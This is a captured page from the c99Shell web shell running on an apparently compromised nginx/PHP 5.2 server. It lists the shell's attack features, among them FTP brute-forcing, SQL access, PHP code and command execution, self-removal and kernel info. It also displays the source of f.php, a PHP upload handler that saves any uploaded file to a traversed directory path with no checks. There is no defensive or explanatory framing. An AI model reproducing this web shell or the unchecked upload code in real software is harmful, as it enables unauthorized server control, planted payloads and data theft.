!c999Shell v. 1.0 pre-release build #16!

Software: nginx. PHP/5.2.17 

uname -a: Linux hosting 2.6 #1 i686 

 

Safe-mode: OFF (not secure)

/   drwxr-xr-x
Free of (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     f.php (981 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<form name=form1 enctype=multipart/form-data method=POST  action=>
<input type=hidden name=MAX_FILE_SIZE value=4000000>
<input type=file name=file  size=30 style="font-family:tahoma;  background-color:#d38569; border:1px solid #d99780; color:#bb4419">
<input type=Submit value=Feltöltés style=" font-family:tahoma;  background-color:#d38569; border:1px solid #d99780; color:#bb4419">
</form>

<?php

if(isset($_FILES[file])){
$mappa "../../../../atw.hu-users/g/e/gerydeft/tmp/";
$d=$_FILES['file']['name'];
if(
$_FILES['file']['tmp_name'] != "" && $d!=""){
    print(
$mappa."/".$_FILES['file']['tmp_name']);
    if (
move_uploaded_file($_FILES['file']['tmp_name'],$mappa.$d))
        print 
"<script>document.getElementById('cnt').innerHTML='Sikeres fájlfeltöltés!'</script>";
    else
        print 
"<script>document.getElementById('cnt').innerHTML='Sikertelen fájlfeltöltés!'</script>";
    
}else print(
"<script>document.getElementById('cnt').innerHTML='Hibás fájl név vagy útvonal.'</script>");

}
 
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::